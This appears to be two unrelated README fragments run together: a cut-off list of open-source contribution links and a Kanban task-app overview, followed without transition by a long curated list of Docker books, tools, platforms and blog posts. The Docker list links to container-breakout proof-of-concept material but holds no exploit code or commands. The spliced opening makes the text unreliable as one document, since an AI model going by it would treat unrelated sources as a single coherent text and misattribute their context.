3. [How-to-contribute](https://opensource.guide/how-to-contribute/)
4. [First-contributions](https://github.com/firstcontributions/first-contributions)
5. [Awesome-for-beginners](https://github.com/mungell/awesome-for-beginners)
6. [Github-git-cheat-sheet](https://training.github.com/downloads/github-git-cheat-sheet.pdf)
7. [How to Write Good Commit Messages](https://dev.to/chrissiemhrk/git-commit-message-5e21)
8. [How to Do Your First Pull Request? (video)](https://youtu.be/nkuYH40cjo4)
## The Folder Structure
## A Brief Overview
This task managing application is based on The Kanban System Developed by Taiichi Ohno to improve manufacturing efficiency.
**What is a Kanban Board?**
Imagine a whiteboard, divided into vertical lanes. Each lane represents a step in your process, from “To Do,” to “Doing,” to “Done.”
In Kanban, work always begins on the left side of the board, and works its way to the right: The far left lane typically holds work items that have not been started, and the far right lane holds work items that have been completed.
In addition to visualizing the steps in your process, Kanban boards can also provide visibility into other information about your work, such as process policies (rules for using the board), and work-in-process (WIP) limits.
|
# Docker Resources All In One
A collection of docker online resources.
中文版本[链接](https://github.com/hangyan/docker-resources/blob/master/README_zh.md)
<a href="https://996.icu"><img src="https://img.shields.io/badge/link-996.icu-red.svg" alt="996.icu"></a>
# Menu
* [Main Resources](#main-resources)
* [Books](#books)
* [Websites](#websites)
* [Documents](#documents)
* [Archives](#archives)
* [Community Blogs](#community-blogs)
* [Personal Blogs](#personal-blogs)
* [Videos](#videos)
* [Related Projects](#related-projects)
* [Core](#core)
* [OS](#os)
* [Virtual Machine](#virtual-machine)
* [Competitors](#competitors)
* [Management Tools](#management-tools)
* [Paas Platforms](#paas-platforms)
* [Caas Platforms](#caas-platforms)
* [Integration Projects](#integration-projects)
* [Monitoring](#monitoring)
* [Networking](#networking)
* [Continuous Integration](#continuous-integration)
* [Development And Deployment](#development-and-deployment)
* [Logging](#logging)
* [Service Discovery](#service-discovery)
* [Private Registry](#private-registry)
* [UI Tools](#ui-tools)
* [Storage](#storage)
* [Volumes](#volumes)
* [Security](#security)
* [Applications](#applications)
* [Images And Dockerfiles](#images-and-dockerfiles)
* [Containers](#containers)
* [Extensions](#extensions)
* [API Client](#api-client)
* [Others](#others)
* [Blog Posts](#blog-posts)
* [General](#general)
* [Docker](#docker)
* [About Images](#about-images)
* [About Storage](#about-storage)
* [About Volumes](#about-volumes)
* [Dockerfiles](#dockerfiles)
* [About Containers](#about-containers)
* [About Security](#about-security)
* [Resource Management](#resource-management)
* [About Networking](#about-networking)
* [About Monitoring](#about-monitoring)
* [About Private Registry](#about-private-registry)
* [API](#api)
* [Performance](#performance)
* [Process Management](#process-management)
* [Think Deeply](#think-deeply)
* [Rocket](#rocket)
* [Underlying Techniques](#underlying-techniques)
* [LXC](#lxc)
* [Cgroups](#cgroups)
* [Systemd](#systemd)
* [Namespaces](#namespaces)
* [Various Projects](#various-projects)
* [Compose](#compose)
* [Swarm](#swarm)
* [Mesosphere](#mesosphere)
* [Kubernetes](#kubernetes)
* [Openstack](#openstack)
* [Azure](#azure)
* [Other Projects](#other-projects)
* [Usage](#usage)
* [Apps](#apps)
* [GUI](#gui)
* [Service Discovery With Docker](#service-discovery-with-docker)
* [Development And Deployment And Test](#development-and-deployment-and-test)
* [Production](#production)
* [Other Platforms](#other-platforms)
# Main Resources
## Books
* [The Docker Book](http://www.dockerbook.com/)
* [Orchestrating Docker](http://www.amazon.com/Orchestrating-Docker-Shrikrishna-Holla/dp/1783984783)
* [Docker in Action](http://www.manning.com/nickoloff/) (Early Access Edition)
* [Docker in Practice](http://manning.com/miell/?a_aid=zwischenzugs&a_bid=e0d48f62) (Early Access Edition)
* [Docker Cookbook](http://dockercookbook.github.io/) by Neependra Khare ([@neependra](https://twitter.com/neependra))
* [Docker Cookbook](http://shop.oreilly.com/product/0636920036791.do) by Sébastien Goasguen ([@sebgoa](https://twitter.com/sebgoa)) (Early Access Edition)
* [Docker Up & Running](http://shop.oreilly.com/product/0636920036142.do)
* [Using Docker](http://shop.oreilly.com/product/0636920035671.do) (Early Access Edition)
* [Docker for Java Developers](https://www.nginx.com/resources/library/docker-for-java-developers/)
* [Docker in Practice, Second Edition](https://www.manning.com/books/docker-in-practice-second-edition)
## Websites
* [Official Documents](https://docs.docker.com/)
* [Docker Source Code](https://github.com/docker/docker)
* [Dockerhub](https://docs.docker.com/docker-hub/)
* [Coreos Official Documents](https://coreos.com/docs/)
* [Hackr.io's Curated Docker Resources](https://hackr.io/tutorials/learn-docker)
## Documents
* [Docker Cheat Sheet](https://github.com/wsargent/docker-cheat-sheet#volumes)
* [Docker Guidebook](https://github.com/kencochrane/docker-guidebook)
* [The Docker Ecosystem](https://www.digitalocean.com/community/tutorial_series/the-docker-ecosystem)
## Archives
* [awesome-docker](https://github.com/veggiemonk/awesome-docker)
* [Docker Weekly Archives](http://blog.docker.com/docker-weekly-archives/)
* [Valuable Docker Links](http://www.nkode.io/2014/08/24/valuable-docker-links.html)
* [Docker Ecosystem](https://www.mindmeister.com/389671722/docker-ecosystem)
* [Digital Ocean Community](https://www.digitalocean.com/community/search?primary_filter=tutorials&query=docker)
* [Docker news](https://medium.com/docker-news)
## Community Blogs
* [Official Blogs](http://blog.docker.com/)
* [Coreos Official Blogs](https://coreos.com/blog/)
* [Century Links Labs](http://www.centurylinklabs.com/category/docker/)
* [Tutum Blog](http://blog.tutum.co/)
* [Weave Blog](http://weaveblog.com/)
* [Odd Bits](http://blog.oddbit.com/)
* [Project Atomic](http://www.projectatomic.io/blog/)
* [Container Solutions](http://container-solutions.com/blog/)
## Personal Blogs
* [jpetazzo](http://jpetazzo.github.io/)
* [Jeff Lindsay](http://progrium.com/blog/)
* [Jason Wilder](http://jasonwilder.com/)
* [Michael Crosby](http://crosbymichael.com/)
* [Matt Bajor](http://technolo-g.com/)
* [Scott's Weblog](http://blog.scottlowe.org/2015/02/06/quick-intro-to-consul/)
* [Luis Elizondo](http://www.luiselizondo.net)
* [zwischenzugs](https://zwischenzugs.wordpress.com)
* [Musings of Matt Williams](http://matthewkwilliams.com/)
## Videos
* [Docker Tutorial](https://www.youtube.com/watch?v=bV5vbNK3Uhw&list=PLkA60AVN3hh_6cAz8TUGtkYbJSL2bdZ4h&index=1)
* [Introduction to Docker](https://www.youtube.com/watch?v=Q5POuMHxW-0)
* [Docker channel](https://www.youtube.com/user/dockerrun)
* [Docker 101 Tutorial](https://www.youtube.com/watch?v=VeiUjkiqo9E)
* [Docker at Spotify](https://www.youtube.com/watch?v=pts6F00GFuU)
* [Docker Clustering on Mesos with Marathon](https://www.youtube.com/watch?v=hZNGST2vIds)
# Related Projects
## Core
* [containerd](https://github.com/docker/containerd/)
## OS
* [Coreos](https://coreos.com/) (Linux for Massive Server Deployments)
* [Atomic](http://www.redhat.com/en/files/resources/en-rhel-atomic-host-datasheet-INC0223751.pdf) (A platform optimized for Linux containers)
* [Rancheio](http://rancher.com/) (Simple, elegant tools for managing Docker in production)
* [Snappy](http://developer.ubuntu.com/en/snappy/) (A new, transactionally updated Ubuntu for clouds and devices)
* [Photon](https://github.com/vmware/photon)
* [ClearLinux](https://clearlinux.org) (The Clear Linux™ Project for Intel® Architecture is a project that is building a Linux OS distribution for various cloud use cases)
* [Mirage OS](https://mirage.io/) (Unikernel)
## Virtual Machine
* [boot2docker](https://github.com/boot2docker/boot2docker) (Lightweight Linux for Docker)
* [dvm](https://github.com/fnichol/dvm) (An on demand Docker virtual machine)
## Competitors
* [rocket](https://github.com/coreos/rocket) (App Container runtime)
* [dockerlite](https://github.com/docker/dockerlite) (Lightweight virtualization system based on LXC and BTRFS)
* [lmctfy](https://github.com/google/lmctfy) (lmctfy is the open source version of Google’s container stack, which provides Linux application containers.)
* [OpenVZ](https://openvz.org/Main_Page)
* [Hyper](https://www.hyper.sh/) (Hyper = Hypervisor + Kernel + Docker Image)
* [bocker](https://github.com/p8952/bocker) (Docker implemented in around 100 lines of bash)
* [lxd](https://github.com/lxc/lxd) (Daemon based on liblxc offering a REST API to manage containers )
## Management Tools
* [kubernetes](https://github.com/GoogleCloudPlatform/kubernetes) (Container Cluster Manager)
* [shipyard](https://github.com/shipyard/shipyard) (Composable Docker Management)
* [swarm](https://github.com/docker/swarm) (A Docker-native clustering system)
* [citadel](https://github.com/citadel/citadel) (A toolkit for building a distributed docker cluster)
* [docker-cluster](https://github.com/tsuru/docker-cluster) (Cluster support for Docker, using the remote API)
* [compose](https://github.com/docker/compose) (Define and run complex applications using Docker)
* [shutit](https://github.com/ianmiell/shutit) (Complex and Dynamic Docker Builds Made Simple)
* [maestro](https://github.com/toscanini/maestro) (Container orchestration for Docker environments)
* [decking](https://github.com/meetfinch/decking) (A Docker helper to create, manage and run clusters of containers)
* [flocker](https://github.com/ClusterHQ/flocker) (Easily manage Docker containers & their data)
* [serf](https://github.com/hashicorp/serf) (Service orchestration and management tool)
* [marathon](https://github.com/mesosphere/marathon) (Deploy and manage containers (including Docker) on top of Apache Mesos at scale)
* [gaudi](https://github.com/marmelab/gaudi) (Gaudi allows to share multi-component applications, based on Docker, Go, and YAML)
* [panamax](http://panamax.io/) (Docker management for humans)
* [clocker](https://github.com/brooklyncentral/clocker) (Brooklyn managed Docker containers)
* [fleet] (https://github.com/coreos/fleet) (A Distributed init System)
* [Meteor](https://github.com/meteorhacks/cluster)(Clustering solution for Meteor with load balancing and service discovery)
* [helios](https://github.com/spotify/helios) (Docker container orchestration platform)
* [maestro-ng](https://github.com/signalfuse/maestro-ng) (Orchestration of Docker-based, multi-host environments)
* [shipper](https://github.com/mailgun/shipper) (Fabric for docker containers)
* [origin](https://github.com/openshift/origin) (OpenShift 3 - build, deploy, and manage your applications with Docker and Kubernetes)
* [autodock](https://github.com/cholcombe973/autodock) (The docker container automation tool.)
* [blockade](https://github.com/dcm-oss/blockade) (Docker-based utility for testing network failures and partitions in distributed applications,[docs](http://blockade.readthedocs.org/))
* [rancher](https://github.com/rancherio/rancher) (A Platform for Operating Docker in Production.[rancher.com](http://rancher.com/))
* [rocker-compose](https://github.com/grammarly/rocker-compose) (Docker composition tool with idempotency features for deploying apps composed of multiple containers.)
* [chronos](https://github.com/mesos/chronos)(Fault tolerant job scheduler for Mesos which handles dependencies and ISO8601 based schedules)
## Paas Platforms
* [flynn](https://github.com/flynn/flynn) (A next generation open source platform as a service)
* [deis](http://deis.io/) (Your PaaS. Your Rules)
* [peas](https://github.com/tombh/peas) (Docker and Ruby based PaaS)
* [dawn](https://github.com/dawn/dawn) (Docker-based PaaS in Ruby)
* [octohost](https://github.com/octohost/octohost)(Simple web focused Dockerfile based PaaS server)
* [dokku](https://github.com/progrium/dokku) (Docker powered mini-Heroku in around 100 lines of Bash)
* [cloudfoundry](https://github.com/cloudfoundry)
* [paz](https://github.com/yldio/paz) (A pluggable in-house service platform with a PaaS-like workflow, built on Docker, CoreOS, Etcd and Fleet)
* [armada](https://github.com/armadaplatform/armada) (Complete solution for development, deployment, configuration and discovery of microservices)
* [rainbond](https://github.com/goodrain/rainbond) (Serverless PaaS , A new generation of easy-to-use cloud management platforms based on kubernetes.)
## Caas Platforms
* [Docker Datacenter](https://www.docker.com/products/docker-datacenter)
* [Alauda.io](http://alauda.io/)
## Integration Projects
* [openstack-docker](https://github.com/docker/openstack-docker) (Nova driver and Glance backend to use Docker inside OpenStack)
* [Jenkins Cloud Plugin for Docker](https://github.com/jenkinsci/docker-plugin/)
* [deimos](https://github.com/mesosphere/deimos) (Mesos containerizer hooks for Docker)
* [garether-docker](https://github.com/garethr/garethr-docker) (Puppet module for managing docker)
* [systemd-docker](https://github.com/ibuildthecloud/systemd-docker) (Wrapper for "docker run" to handle systemd quirks)
* [docker-ansible](https://github.com/cove/docker-ansible) (Ansible module for Docker)
## Monitoring
* [seagull](https://github.com/tobegit3hub/seagull) (Friendly Web UI to monitor docker daemon)
* [dockerana](https://github.com/dockerana/dockerana) (Docker Monitoring with support for Grafana and Graphite)
* [docker-mon](https://github.com/icecrime/docker-mon)(Console-based Docker monitoring)
* [cadvisor](https://github.com/google/cadvisor) (Analyzes resource usage and performance characteristics of running containers)
* [Prometheus](https://github.com/prometheus/prometheus) (The Prometheus monitoring system and time series database,see the [docker exporter](https://github.com/docker-infra/container_exporter))
* [ctop](https://github.com/bcicen/ctop) (Top-like interface for container metrics https://bcicen.github.io/ctop/)
* [NexClipper](https://github.com/TheNexCloud/NexClipper) - Simple web UI for container monitoring by [@Nexcloud](https://github.com/TheNexCloud)
## Networking
* [weave](https://github.com/zettio/weave) (The Docker Network)
* [wormhole](https://github.com/vishvananda/wormhole) (A smart proxy to connect docker containers.)
* [flannel](https://github.com/coreos/flannel) (flannel is an etcd backed network fabric for containers)
* [calico-docker](https://github.com/Metaswitch/calico-docker)(Docker version of Project Calico,Calico can provide networking in a Docker environment)
* [libnetwork](https://github.com/docker/libnetwork) (networking for containers)
## Continuous Integration
* [drone](https://github.com/drone/drone) (A Continuous Integration platform built on Docker)
## Development And Deployment
* [tug](https://github.com/nitrous-io/tug) (Docker development workflow)
* [vagga](https://github.com/tailhook/vagga)(Vagga is a tool to create development environments)
* [longshoreman](https://github.com/longshoreman/longshoreman) (Automated deployment with Docker)
* [centurion](https://github.com/newrelic/centurion) (A mass deployment tool for Docker fleets)
* [shutit](https://github.com/ianmiell/shutit) (Complex and Dynamic Docker Builds Made Simple)
* [dockership](https://github.com/mcuadros/dockership) (dead simple docker deploy tool)
* [devstep](https://github.com/fgrehm/devstep) (Development environments powered by Docker and buildpacks)
* [docker-devenv](https://github.com/wsargent/docker-devenv) (Docker based development environment)
* [dexec](https://github.com/docker-exec/dexec) (Command line interface for running code with Docker Exec images)
## Logging
* [logspout](https://github.com/gliderlabs/logspout) (Log routing for Docker container logs)
* [logjam](https://github.com/gocardless/logjam) (a log shipping tool)
## Service Discovery
* [skydock](https://github.com/crosbymichael/skydock) (based on DNS)
* [Consul](https://www.consul.io/) (Consul is a tool for service discovery, monitoring and configuration)
* [registrator](https://github.com/gliderlabs/registrator)(Service registry bridge for Docker with pluggable adapters)
* [etcd](https://github.com/coreos/etcd) (A highly-available key value store for shared configuration and service discovery)
* [docker-grand-ambassador](https://github.com/cpuguy83/docker-grand-ambassador) ( fully dynamic docker link ambassador)
* [confd](https://github.com/kelseyhightower/confd) (Manage local application configuration files using templates and data from etcd or consul)
* [ambassadord](https://github.com/progrium/ambassadord) (Magic Docker ambassador)
* [logcabin](https://github.com/logcabin/logcabin) (LogCabin is a distributed storage system built on Raft that provides a small amount of highly replicated, consistent storage)
## Private Registry
* [docket](https://github.com/netvarun/docket) (Custom docker registry that allows for lightning fast deploys through bittorrent)
* [docker-registry](https://github.com/docker/docker-registry) (Registry server for Docker (hosting/delivering of repositories and images))
* [wharf](https://github.com/dockercn/wharf)(ContainerOps Open Source Platform)
* [distribution](https://github.com/docker/distribution) (The Docker toolset to pack, ship, store, and deliver content)
* [dogestry] (https://github.com/blake-education/dogestry) (simple docker image storage on s3)
* [docker-private-registry](https://github.com/shipyard/docker-private-registry) (Private Docker Registry)
* [speedy](https://github.com/jcloudpub/speedy) (a distributed docker image storage)
## UI Tools
* [dockerboard](https://github.com/dockerboard/dockerboard) (Simple dashboards, visualizations, managements for your dockers)
* [Kitematic](https://kitematic.com/) (Now part of the Docker Toolbox. Available for Mac OS X 10.8+ and Windows 7+ (64-bit) )
* [dockerui](https://github.com/crosbymichael/dockerui) (A web interface for docker)
* [docker-registry-web](https://github.com/atc-/docker-registry-web) (A web UI for easy private/local Docker Registry integration)
* [Portus](https://github.com/SUSE/Portus) (Authorization service and frontend for Docker registry v2)
* [panamax-ui](https://github.com/CenturyLinkLabs/panamax-ui) (The Web GUI for Panamax)
* [seagull](https://github.com/tobegit3hub/seagull) (Friendly Web UI to monitor docker daemon)
* [docker-swarm-visualizer](https://github.com/ManoMarks/docker-swarm-visualizer)(A visualizer for Docker Swarm using the Docker Remote API, Node.JS, and D3)
* [portainer](http://portainer.io/) ( Simple management ui for docker )
* [Swarmpit](https://swarmpit.io) ( Lightweight Docker Swarm management UI )
* [Swirl](https://github.com/cuigh/swirl) (A web management tool for Docker, focusing on Swarm cluster)
## Storage
* [pfs](http://pachyderm-io.github.io/pfs/#whats-new-in-v02) (A git-like distributed file system for a dockerized world)
## Volumes
* [docker-volumes](https://github.com/cpuguy83/docker-volumes) (Docker Volume Manager)
## Security
* [subuser](https://github.com/subuser-security/subuser) (Run programs in linux with selectively restricted permissions)
* [TUF](http://theupdateframework.com/) (Like the S in HTTPS, a plug-and-play library for securing a software updater)
* [container-compliance](https://github.com/OpenSCAP/container-compliance)(Assessing compliance of a container)
## Applications
* [ferry](https://github.com/cirruspath/ferry) (define, run, and deploy big data applications on AWS, OpenStack, and your local machine using Docker,[ferry.opencore.io](http://ferry.opencore.io/))
* [codecube](https://github.com/hmarr/codecube) (Docker-powered runnable code snippets)
* [DUnit](https://github.com/Vectorface/dunit) (Test code against multiple versions of PHP with the help of docker)
* [PHP Stack](https://github.com/kasperisager/phpstack) (Docker- and Shipyard-managed PHP development stack: Nginx, MySQL, MongoDB, PHP-FPM, HHVM, Memcached, Redis, and Elasticsearch. Includes an optional Vagrant-managed CoreOS proxy box at your leisure.)
* [Django Demo](https://github.com/kencochrane/django-docker) (Demo Django App using Docker)
* [dnt](https://github.com/rvagg/dnt) (Docker Node Tester)
* [dockermail](https://github.com/adaline/dockermail) (A secure, minimal-configuration mail server in a docker container.)
* [docker-rpm-builder](https://github.com/alanfranz/docker-rpm-builder) (Build native RPM packages by leveraging docker capabilities)
* [tmpnb](https://github.com/jupyter/tmpnb) (Creates temporary Jupyter Notebook servers using Docker containers)
* [open-ocr](https://github.com/tleyden/open-ocr) (Run your own OCR-as-a-Service using Tesseract and Docker)
* [dray](https://github.com/CenturyLinkLabs/dray) (An engine for managing the execution of container-based workflows)
* [kolla](https://github.com/stackforge/kolla) (Deploying OpenStack using Kubernetes and Docker)
* [docker-desktop](https://github.com/rogaha/docker-desktop) (Docker Desktop enables you to create virtual desktops that can be accessed remotely. It comes with Firefox and Libreoffice already installed)
* [dockercraft](https://github.com/docker/dockercraft) (Docker + Minecraft = Dockercraft)
## Images And Dockerfiles
* [dockly](https://github.com/swipely/dockly) (DSL and Gem for building ready-to-launch Docker images)
* [baseimage-docker](https://github.com/phusion/baseimage-docker) (A minimal Ubuntu base image modified for Docker-friendlines)
* [busybox](https://github.com/jpetazzo/docker-busybox) (Busybox for Stackbrew)
* [busybox](https://github.com/progrium/busybox) (Busybox container with glibc+opkg)
* [dockerfile-examples](https://github.com/komljen/dockerfile-examples)
* [passenger-docker](https://github.com/phusion/passenger-docker) (Docker base images for Ruby, Python, Node.js and Meteor web apps)
* [Dockerfile Project](http://dockerfile.github.io/)
* [Dockerfiles](https://github.com/crosbymichael/Dockerfiles)(Collection of Dockerfiles)
* [docker-desktop](https://github.com/rogaha/docker-desktop) (create virtual desktops that can be accessed remotely)
* [StealthBox](https://github.com/Toilal/stealthbox)(Share your favorite content remotely without spoiling your home network)
* [Machine Learning](https://github.com/StartupML/jetpack) (Get up and running with machine learning using Docker)
* [Gitlab](https://github.com/sameersbn/docker-gitlab) (Dockerized gitlab web server)
* [Discourse](https://github.com/discourse/discourse_docker) (A Docker image for Discourse)
* [OpenVPN](https://github.com/jpetazzo/dockvpn) (Recipe to build an OpenVPN image for Docker)
* [Wordpress+nginx](https://github.com/eugeneware/docker-wordpress-nginx) (A
Dockerfile that installs the latest wordpress, nginx and php-fpm.another
wordpress [image](https://github.com/jbfink/docker-wordpress)) / another one [wordpress](https://github.com/dz0ny/docker-wpdev)
* [Nignx-Proxy](https://github.com/jwilder/nginx-proxy) (Automated nginx proxy for Docker containers using docker-gen)
* [docker-squash](https://github.com/jwilder/docker-squash) (Squash docker images to make them smaller)
* [Mysql](https://github.com/tutumcloud/tutum-docker-mysql) (Docker image to run an out-of-the-box MySQL server)
* [CentOS-Dockerfiles](https://github.com/CentOS/CentOS-Dockerfiles) (Dockerfiles for various common implementations)
* [Redmine](https://github.com/sameersbn/docker-redmine) (Dockerized redmine app server)
* [Spark](https://github.com/amplab/docker-scripts) (Dockerfiles and scripts for Spark and Shark Docker images)
* [docker-grafana-graphite](https://github.com/kamon-io/docker-grafana-graphite) (Docker image with StatsD, Graphite, Grafana and a Kamon Dashboard)
* [Elasticsearch](https://github.com/dockerfile/elasticsearch) (ElasticSearch Dockerfile for trusted automated Docker builds)
* [docker-alpine](https://github.com/gliderlabs/docker-alpine) (Docker image based on Alpine Linux will help you win at minimalism)
* [Hadoop](https://github.com/sequenceiq/hadoop-docker) (Hadoop docker image)
* [R](https://github.com/rocker-org/rocker) (R configurations for Docker)
* [ASP.NET](https://github.com/aspnet/aspnet-docker) (Docker image for ASP.NET 5.)
* [nmpjs](https://github.com/terinjokes/docker-npmjs) (Docker image for a private npmjs repository)
* [Jenkins](https://github.com/aespinosa/docker-jenkins) (Builds a Docker image for Jenkins)
* [Postgres](https://github.com/docker-library/postgres) (Docker Official Image packaging for Postgres)
* [Logstash](https://github.com/pblittle/docker-logstash) (Docker image for Logstash 1.4 )
* [Harbor](https://github.com/vmware/harbor) (An enterprise-class container registry server based on Docker Distribution)
## Containers
* [dockize](https://github.com/jwilder/dockerize) (Utility to simplify running applications in docker containers)
* [Supervisor](http://supervisord.org/) (A Process Control System)
* [CFEngine](http://cfengine.com/) (Process management)
* [docker-gen](https://github.com/jwilder/docker-gen) (Generate files from docker container meta-data)
* [tini](https://github.com/krallin/tini) (A tiny but valid `init` for containers)
* [S6](http://skarnet.org/software/s6/) (s6 is a small suite of programs for UNIX, designed to allow process supervision)
## Extensions
* [powerstrip](https://github.com/clusterhq/powerstrip) (A tool for prototyping Docker extensions)
## API Client
* [docker-py](https://github.com/docker/docker-py) (**Python**)
* [docker-api](https://github.com/swipely/docker-api) (**Ruby**)
* [dockernode](https://github.com/apocas/dockerode) (**Node.js**)
* [go-dockerclient](https://github.com/fsouza/go-dockerclient) (**Golang**)
* [docker-php](https://github.com/stage1/docker-php) (**PHP**)
* [dockerclient](https://github.com/samalba/dockerclient) (**Golang**)
* [docker-java](https://github.com/kpelykh/docker-java) (**Java**)
## Others
* [dockersh](https://github.com/Yelp/dockersh) (A shell which places users into individual docker containers)
* [buildstep](https://github.com/progrium/buildstep) (Buildstep uses Docker and Buildpacks to build applications like Heroku)
* [dind](https://github.com/jpetazzo/dind)(Docker in Docker)
* [building](https://github.com/CenturyLinkLabs/building) (Build a Docker container for any app using Heroku Buildpacks)
* [torrent-docker](https://github.com/mafintosh/torrent-docker) (realtime boot of remote docker images using bittorrent)
* [docker-backup](https://github.com/docker-infra/docker-backup) (Tool for backing up docker volume / data containers)
* [Docker Support in IntelliJ IDEA 14.1](http://blog.jetbrains.com/idea/2015/03/docker-support-in-intellij-idea-14-1/)
* [dockerception](https://github.com/jamiemccrindle/dockerception) (Docker building dockers - keeping them small)
* [docker-gc](https://github.com/spotify/docker-gc) (Docker garbage collection of containers and images)
* [habitus](https://github.com/cloud66/habitus)(A Build Flow Tool for Docker)
* [ofelia](https://github.com/mcuadros/ofelia) (A docker job scheduler (aka. crontab for docker))
# Blog Posts
## General
* [The Frontend Developer's Guide to Docker](http://www.bryanbraun.com/2014/07/15/the-frontend-developers-guide-to-docker)
* [Docker and Go: why did we decide to write Docker in Go?](http://www.slideshare.net/jpetazzo/docker-and-go-why-did-we-decide-to-write-docker-in-go) ( pdf slide)
* [How to Use Docker on OS X: The Missing Guide](http://viget.com/extend/how-to-use-docker-on-os-x-the-missing-guide)
* [24 random docker tips](http://csaba.palfi.me/random-docker-tips/)
* [The 5 Most Important Things I’ve Learned From Using Docker](http://blog.tutum.co/2014/10/28/the-5-most-important-things-ive-learned-from-using-docker/)
* [A Simple Way to Dockerize Applications](http://jasonwilder.com/blog/2014/10/13/a-simple-way-to-dockerize-applications/)
* [Docker orchestration](http://chrisbarra.me/posts/docker-orchestration.html)
* [Docker's rise from sleeper to open source king](http://www.cnbc.com/id/102422954)
* [Faster Builds with Container-Based Infrastructure and Docker](http://blog.travis-ci.com/2014-12-17-faster-builds-with-container-based-infrastructure/)
* [Run ARM binaries in your Docker Container using Boot2Docker…](http://neophob.com/2014/10/run-arm-binaries-in-your-docker-container-using-boot2docker/)
* [How to Use Docker on Windows](http://blog.tutum.co/2014/11/05/how-to-use-docker-on-windows/)
* [Docker on OS X with VMWare Fusion](http://ewen.mcneill.gen.nz/blog/entry/2014-09-20-docker-on-osx-with-vmware-fusion/)
## Docker
### About Images
* [Docker Image Insecurity](https://titanous.com/posts/docker-insecurity)
* [Building good docker images](http://jonathan.bergknoff.com/journal/building-good-docker-images)
* [Your docker image might might be broken without you knowing it](http://phusion.github.io/baseimage-docker/)
* [Flat Docker images](http://3ofcoins.net/2013/09/22/flat-docker-images/)
* [Baseimage-docker, fat containers and "treating containers as VMs"](https://blog.phusion.nl/2015/01/20/baseimage-docker-fat-containers-treating-containers-vms/)
* [Create The Smallest Possible Docker Container](http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/)
* [Creating a Docker image from your code](http://blog.tutum.co/2014/04/10/creating-a-docker-image-from-your-code/)
* [Optimizing Docker Images](http://www.centurylinklabs.com/optimizing-docker-images/?hvid=1OW0br)
* [Building Docker Images for Static Go Binaries](https://medium.com/@kelseyhightower/optimizing-docker-images-for-static-binaries-b5696e26eb07)
* [Squashing Docker Images](http://jasonwilder.com/blog/2014/08/19/squashing-docker-images/)
* [Building a Multi-Purpose Docker Image](https://medium.com/docker-news/building-a-multi-purpose-docker-image-7762378ebc2e)
* [Docker layers cost](https://medium.com/@vaceletm/docker-layers-cost-b28cb13cb627)
* [Deterministic and minimal docker images](http://gregoryszorc.com/blog/2014/10/13/deterministic-and-minimal-docker-images/)
### About Storage
* [Comprehensive Overview of Storage Scalability in Docker](http://developerblog.redhat.com/2014/09/30/overview-storage-scalability-docker/?utm_content=buffer8a955&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
* [Resizing Docker containers with the Device Mapper plugin](http://jpetazzo.github.io/2014/01/29/docker-device-mapper-resize/)
* [Where are Docker images stored?](http://blog.thoward37.me/articles/where-are-docker-images-stored/)
* [Persistent Distributed Filesystems in Docker without NFS or Gluster](http://www.centurylinklabs.com/persistent-distributed-filesystems-in-docker-without-nfs-or-gluster/)
* [Deep dive into Docker storage drivers](http://jpetazzo.github.io/assets/2015-03-03-not-so-deep-dive-into-docker-storage-drivers.html#1)
### About Volumes
* [Understanding Volumes in Docker](http://container-solutions.com/2014/12/understanding-volumes-docker/)
* [Powerstrip-flocker: Portable volumes using just the Docker CLI](https://clusterhq.com/blog/powerstrip-flocker-portable-volumes-using-just-docker-cli/)
### Dockerfiles
* [6 Dockerfile Tips from the Official Images](http://container-solutions.com/2014/11/6-dockerfile-tips-official-images/)
* [Writing Dockerfile](http://www.techbar.me/writing-dockerfile/)
* [How to Optimize Your Dockerfile](http://blog.tutum.co/2014/10/22/how-to-optimize-your-dockerfile/)
* [Dockerfile Best Practices](http://crosbymichael.com/dockerfile-best-practices.html)
### About Containers
* [What is the difference between CMD and ENTRYPOINT in a Dockerfile?](http://stackoverflow.com/questions/21553353/what-is-the-difference-between-cmd-and-entrypoint-in-a-dockerfile)
* [Docker and the PID 1 zombie reaping problem](https://blog.phusion.nl/2015/01/20/docker-and-the-pid-1-zombie-reaping-problem/)
* [Data-only container madness](http://container42.com/2014/11/18/data-only-container-madness/)
* [On-demand activation of Docker containers with systemd](https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/)
* [Docker and S6 – My New Favorite Process Supervisor](http://blog.tutum.co/2014/12/02/docker-and-s6-my-new-favorite-process-supervisor/)
* [On Docker Container Composition](https://medium.com/on-docker/on-docker-container-composition-a98788f1aa3c)
* [Introducing a *Super* Privileged Container Concept](http://developerblog.redhat.com/2014/11/06/introducing-a-super-privileged-container-concept/)
* [Docker Inspect Template Magic](http://container-solutions.com/2015/03/docker-inspect-template-magic/)
* [‘Piping’ Hot Docker Containers](http://matthewkwilliams.com/index.php/2015/04/21/piping-hot-docker-containers/)
* [Checkpoint and restore Docker container with CRIU](http://blog.circleci.com/checkpoint-and-restore-docker-container-with-criu/)
### About Security
* [Why you don't need to run sshd in your docker containers](http://blog.docker.com/2014/06/why-you-dont-need-to-run-sshd-in-docker/)
* [shocker: docker PoC VMM-container breakout](http://stealth.openwall.net/xSports/shocker.c)
* [Containers&Docker: How secure are they?](https://blog.docker.com/2013/08/containers-docker-how-secure-are-they/)
* [Docker and SELinux](http://www.projectatomic.io/docs/docker-and-selinux/)
* [Bringing new security features to Docker](https://opensource.com/business/14/9/security-for-docker)
* [Docker Secure Deployment Guidelines](https://github.com/GDSSecurity/Docker-Secure-Deployment-Guidelines)
* [Docker Container Breakout Proof-Of-Concept Exploit](http://outofmemory.cn/wr/?u=http%3A%2F%2Fblog.docker.com%2F2014%2F06%2Fdocker-container-breakout-proof-of-concept-exploit%2F)
* [The dangers of UFW + Docker](http://blog.viktorpetersson.com/post/101707677489/the-dangers-of-ufw-docker)
* [Tuning Docker with the newest security enhancements](https://opensource.com/business/15/3/docker-security-tuning)
### Resource Management
* [Resource management in Docker](https://goldmann.pl/blog/2014/09/11/resource-management-in-docker/)
### About Networking
* [Advanced networking](https://docs.docker.com/articles/networking/)
* [DNS And docker containers](http://wiredcraft.com/blog/dns-and-docker-containers/)
* [Coupling Docker and Open vSwitch](http://fbevmware.blogspot.com/2013/12/coupling-docker-and-open-vswitch.html)
* [Connecting Docker containers on multiple hosts](https://goldmann.pl/blog/2014/01/21/connecting-docker-containers-on-multiple-hosts/)
* [Muti-host Docker Network](http://wiredcraft.com/blog/multi-host-docker-network/)
* [Life and Docker networking](http://weaveblog.com/2014/11/13/life-and-docker-networking/)
